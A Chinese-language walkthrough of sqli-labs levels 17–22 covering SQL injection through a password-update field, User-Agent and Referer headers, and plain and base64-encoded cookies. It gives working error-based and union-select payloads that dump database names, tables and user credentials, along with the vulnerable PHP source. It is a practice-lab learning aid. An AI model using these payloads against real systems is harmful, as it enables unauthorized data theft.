sqli-labs靶场详解(less17-less22)
目录
less-17
less-18
less-19
less-20
less-21
less-22
less-17
修改密码关卡
服务器后端 账号密码都存在数据库中 使用UPDATE进行修改密码
尝试username处 尝试好久尝试不出来应该是对用户名进行了过滤 于是对password进行注入
判断注入点
passwd=admin' 报错:to use near 'admin''
passwd=admin' and 1=1 #显示成功修改密码
passwd=admin' and 1=2 #显示成功修改密码
这是为什么呢?
通过代码分析更新语句使用 and 根本就更新不了 显示成功的原因只是因为 服务器端只要用户名存在就显示成功 ,总之更新操作 使用and 会出现各种问题 记住更新不能用and
以下对更新语句的分析就立马能理解了
在更新语句中
UPDATE users SET password = '523456' and 1=1; 密码变成了1
UPDATE users SET password = '523456' and 1=2; 密码变成了0
原因
这个SQL语句更新后密码变成了1的原因是因为
AND
关键词在SQL中是逻辑运算符,它用于将两个或多个条件合并为一个更复杂的条件。在这个SQL语句中,AND
关键词连接的两个条件分别是password = '523456'
和1=1
。由于1=1
总是为真,所以整个条件表达式的结果也为真。因为这个条件表达式的结果为真,所以会更新所有匹配的记录,并将它们的
password
字段的值设置为1
,而不是'523456'
。这是因为在这个SQL语句中,AND
将两个条件合并为一个整体,所以实际上只有一个条件被应用于更新操作,即1=1
,而不是整个表达式中的两个条件都被应用于更新操作。
只能使用报错注入的方式
注入操作
#获取当前数据库名 passwd=1' and extractvalue(1,concat('~',database()))# #获取所有数据库名 passwd=1' and extractvalue(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)))# #获取当前数据库所有表 passwd=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))# #获取表内字段名 passwd=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)))# #获取字段值 extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))# 报错崽子查询中不能使用users表 原因大概率是因为服务器端的UPDATE对users表进行更新 于是 这条语句就是增加一个子查询 这个子查询输出的内容和users表一样 查询后会放在一个虚拟表a中 extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from (select id,username,password from security.users)a limit 0,1)))#
代码分析
<?php include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { $value = substr($value,0,15); } if (get_magic_quotes_gpc()) { $value = stripslashes($value); } if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } //以上为过滤的函数 首先,通过判断输入值是否为空来确定是否需要进行处理。 如果输入值不为空,则使用substr函数将其截断为最多15个字符,以防止过长的输入对后续处理造成问题。 接下来,如果开启了魔术引号(magic quotes),则使用stripslashes函数去除可能被自动添加的反斜杠, 然后,通过判断输入值是否为数字来决定如何处理。 如果输入值不是数字,则使用mysql_real_escape_string函数对其进行转义,并在两边添加单引号,以确保输入值可以被安全地插入到SQL查询语句中。 如果输入值是数字,则使用intval函数将其转换为整数类型。 //记住是过滤的就行 if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; // 获取用户名 和密码 用户名使用过滤函数进行过滤 $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname."\n"); fwrite($fp,'New Password:'.$passwd."\n"); fclose($fp); //上面是写入日志文件 @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //查询输入的用户名是否存在 如果存在 将表中的用户名和密码输入到变量row中 if($row) { $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); //进行更新操作 if (mysql_error()) { print_r(mysql_error()); } //如果报错输出报错 //SUCCESS echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; // 就算报错也会显示更新成功 无论是否更新了 都会更新成功 } //只要是查询到有这个用户名的数据了 就下是更新成功 无论这个更新语句是否执行 else { //echo "Bug off you Silly Dumb hacker"; echo '<img src="../images/slap1.jpg" />'; } //如果用户名不存在 就显示类似于更新失败的代码 } ?>
less-18
是HTTP头注入 采用报错的方式进行注入
代码分析
对账号和密码进行了过滤
但是通过INSERT 插入了 $ip变量值和$uagent变量值
变量的值通过POST表单中的USER_AGENT获取的
ip 它通常是从客户端发送的网络请求中获取的 在表单中可能找不到
进行抓包 判断注入点
对user_agent字段怎么修改页面都无任何变化 只提示登录失败
去后端查找原因 发现必须用户名和密码必须正确 才能够 只能代码块
于是使用正确的账号密码
在字段后开始判断注入点
' 报错: to use near '172.23.19.1', 'admin')' at line 1
通过这一点 并且知道这是插入语句 就知道肯定是有括号的
') 依旧报错 同样原因
')# 报错:列数不同
看前面报错内容显示172.23.19.1', 'admin')这有问题 一看差不多的意思就是 服务器端这两个字段应该是没有被插入到数据库中 并且这附近语法有错误 就可以证明 服务器端应该是要插入三个字段 这只是假设 现实中要多次尝试
','','')# 成功
确定了注入点 并且有报错 使用报错函数 在插入或者更新 不能使用 and 进行盲注等 各种原因吧
注入操作
爆当前数据库 ' and extractvalue(1,concat('~',database())),'','')# 爆数据表 'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')# 爆列名 'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')# 爆列值 'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#
less-19
这关先不看后端代码黑盒方式分析进行
也是post头注入
输入账号密码先查看一下 有个回显是服务器地址 估计是注入点
使用bp测试
在服务器地址输入单引号 发现报错:
判断注入点
to use near '172.23.19.1')'
') 报错:
to use near '', '172.23.19.1')'
')# 报错:
列数不同
通过以上报错分析得知 应该也是向数据库中进行插入 插入两个值
','')# 成功 证明分析正确
注入点成功被找到 并能构造出语句 '报错可能就是注入点 ','')#不报错 确定注入点并且也算是构造出了第一条无任何注入效果的可以被数据库执行的语句 在这个基础上进行注入
注入测试
爆当前数据库 ' and extractvalue(1,concat('~',database())),'')# 爆数据表 'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'')# 爆列名 'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'')# 爆列值 'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'')#
最后代码分析
和上一关代码基本一样 就是插入的是两个值
less-20
提示是cookie注入
现正常输入用户以及密码查看提示
发现cookie使用用户名和当前时间组成的
并且输出了很多头字段信息(这关已经提示了 是cookie注入,但是这些字段还是要先试一试看看有没有注入点 万一这些输出的字段被带到数据库中执行呢)
使用bp
判断注入点
测试useragent 后加单引号 等 手工注入方式 输出的都是这个 估计是没有注入点
在所有位置都试了一遍都不行
只能找cookie在哪了
发现没有cookie字段 因为我还是小白 只能先查看后端源码了 发现源码cookie就是uname没有什么了
搜集资料才发现这是cookie 你必须登录过一次才有cookie 于是登录成功后 继续抓包发现了cookie字段
使用单引号 报错
to use near ''admin''
多种尝试不行执行去源码查看 服务器是怎么处理cookie的了
代码分析
<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(!isset($_COOKIE['uname']))//cookie没有值 function check_input($value)//过滤函数不用管 if(isset($_POST['uname']) && isset($_POST['passwd']))//如果存在用户和密码的值 { $uname = check_input($_POST['uname']);//检查 $passwd = check_input($_POST['passwd']);//检查 $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username'];//从username中获取值作为变量cookee的值 if($row1)//如果在数据库中查询到结果了执行语句 { setcookie('uname', $cookee, time()+3600); //设置cookie cookie的名为uname 值为用户名 过期时间为time()+3600); header ('Location: index.php');//会跳转 相当于有cookie的时候访问页面 echo "I LOVE YOU COOKIES";//没有cookie 并且还登陆了输出 I LOVE YOU 并且没有执行上一条语句 print_r(mysql_error()); //报错函数 echo '<img src="../images/flag.jpg" />'; } else { print_r(mysql_error());//报错函数 echo '<img src="../images/slap.jpg" />'; } } } else//cookie有值 { if(!isset($_POST['submit']))//没有点击登录的情况下 { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo '<img src="../images/Less-20.jpg" />'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; } else { echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/slap1.jpg" />'; echo "<br><br><b>"; //echo '<img src="../images/Less-20.jpg" />'; } echo '<center>'; echo '<form action="" method="post">'; echo '<input type="submit" name="submit" value="Delete Your Cookie!" />'; echo '</form>'; echo '</center>'; } else //cookie有值 但是又点击了登录 { echo '<center>'; echo " Your Cookie is deleted"; setcookie('uname', $row1['username'], time()-3600); header ('Location: index.php');//跳转到 cookie优质但是没有点击登录sub的页面 echo '</font></center></br>'; } $fp=fopen('result.txt','a'); fwrite($fp,'Cookie:'.$cookee."\n"); fclose($fp); } ?>
分析了很久很久不理解为什么能修改cookie就能进行数据库注入 找半天没找到
最后发现
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
这条语句才是造成sql注入攻击的原因
这就告诉我以后分析代码的时候不要只顾着分析代码逻辑执行顺序 太浪费时间
如果cookie有值 并且没有点击登录摁扭submit的情况下会触发该语句 并且SQL语句执行的时候如果出错会报错 这就能解释的通了 并且使用该语句查询的结果
会输出三个位置
用户名 密码 以及cookie三个位置
所有情况已知了 进行测试
判断注入点
uname=admin' name位置报错 to use near ''admin''
uname=admin'#
到这就能理解出 cookie直接获取uname值 而输出的name和password 是通过uname作为条件在数据库中进行查询 得到数据库内的用户名与密码
uname=admin' and 1=1# 成功
uname=admin' and 1=2# 失败
可以确定该位置是注入点 并且通过以上分析得知可以使用 联合查询 方式进行注入(因为有显示位置) 因为有报错也可以使用报错注入
我们使用联合查询方式
注入操作
# 判断当前表的列数 得出当前表有3列 ' and 1=1 order by 1 # 正常 ' and 1=1 order by 2 # 正常 ' and 1=1 order by 3 # 正常 ' and 1=1 order by 4 # 错误 # 查看显示位 得出显示位为1,2,3号位 ' and 1=2 union select 1,2,3 # # 查看当前数据库 ' and 1=2 union select 1,database(),3 # # 查看当前数据库的所有表 ' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 # #报错:显示行数大于一行 ' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 # # 查看某表的字段名 ' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 # # 查看字段值 ' and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 #
less-21
首先先正常输入 和上一题差不多 但是这个cookie进行了 base64的编码 但是name依旧是admin
bp抓包
尝试注入
1 无论怎么尝试 name和password依旧保持不变 就cookie变了 输入什么cookie就输出什么 并且不报错
2 因为是cookie嘛 就想到了 这里面肯定是获取cookie的值在数据库中进行查找获取数据库内的用户名和密码
整理思路重新来
YWRtaW4='#\ 不报错
YWRtaW47='#\ 报错不能成功登录
到这就知道服务器获取cookie的值先解码之后再去数据库中进行查找
于是接下来的每一步 都使用base64进行编码
admin'
YWRtaW4n 报错:to use near ''admin'')
admin'#
YWRtaW4nIw== 报错 to use near ''
admin')#
YWRtaW4nKSM=成功了
admin') and 1=1# 成功
YWRtaW4nKSBhbmQgMT0xIw==
admin') and 1=2# 失败
YWRtaW4nKSBhbmQgMT0yIw==
注入操作
# 判断当前表的列数 得出当前表有3列 admin') and 1=1 order by 1# 正常 YWRtaW4nKSBhbmQgMT0xIG9yZGVyIGJ5IDEj admin') and 1=1 order by 2# 正常 YWRtaW4nKSBhbmQgMT0xIG9yZGVyIGJ5IDIj admin') and 1=1 order by 3# 正常 YWRtaW4nKSBhbmQgMT0xIG9yZGVyIGJ5IDMj admin') and 1=1 order by 4# 错误 YWRtaW4nKSBhbmQgMT0xIG9yZGVyIGJ5IDQj # 查看显示位 得出显示位为1,2,3号位 admin') and 1=2 union select 1,2,3# YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyM= # 查看当前数据库 admin') and 1=2 union select 1,database(),3# YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyM= # 查看当前数据库的所有表 admin') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3# YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMyM= # 查看某表的字段名 admin') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3# YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpLDMj # 查看字段值 admin') and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3# YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgY29uY2F0X3dzKCcsJyxpZCx1c2VybmFtZSxwYXNzd29yZCkgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpLDMj
less-22
发现和21没什么区别
判断注入点
admin'
YWRtaW4n 直接就是登录失败 明显就是服务器把admin'当成一个整体在后端进行查询
admin\
YWRtaW5c 报错 to use near '"admin\"
admin#
YWRtaW4j 登录失败 这都能登录失败 明显就是 把#当成参数了 在后端进行查询
直接就能看出来参数使用的双引号变成的字符
admin"#
YWRtaW4iICM= 成功
admin" and 1=1 #
YWRtaW4iIGFuZCAxPTEgIw== 成功
admin" and 1=2 #
YWRtaW4iIGFuZCAxPTIgIw== 登录失败
发现注入点 并能构造sql语句进行注入
注入操作
# 判断当前表的列数 得出当前表有3列 admin" and 1=1 order by 1# 正常 YWRtaW4iIGFuZCAxPTEgb3JkZXIgYnkgMSM= admin" and 1=1 order by 2# 正常 YWRtaW4iIGFuZCAxPTEgb3JkZXIgYnkgMiM= admin" and 1=1 order by 3# 正常 YWRtaW4iIGFuZCAxPTEgb3JkZXIgYnkgMyM= admin" and 1=1 order by 4# 错误 YWRtaW4iIGFuZCAxPTEgb3JkZXIgYnkgNCM= # 查看显示位 得出显示位为1,2,3号位 admin" and 1=2 union select 1,2,3# YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMiwzIw== # 查看当前数据库 admin" and 1=2 union select 1,database(),3# YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw== # 查看当前数据库的所有表 admin" and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3# YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSwzIw== # 查看某表的字段名 admin" and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3# YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMyM= # 查看字段值 admin" and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3# YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBjb25jYXRfd3MoJywnLGlkLHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSksMyM=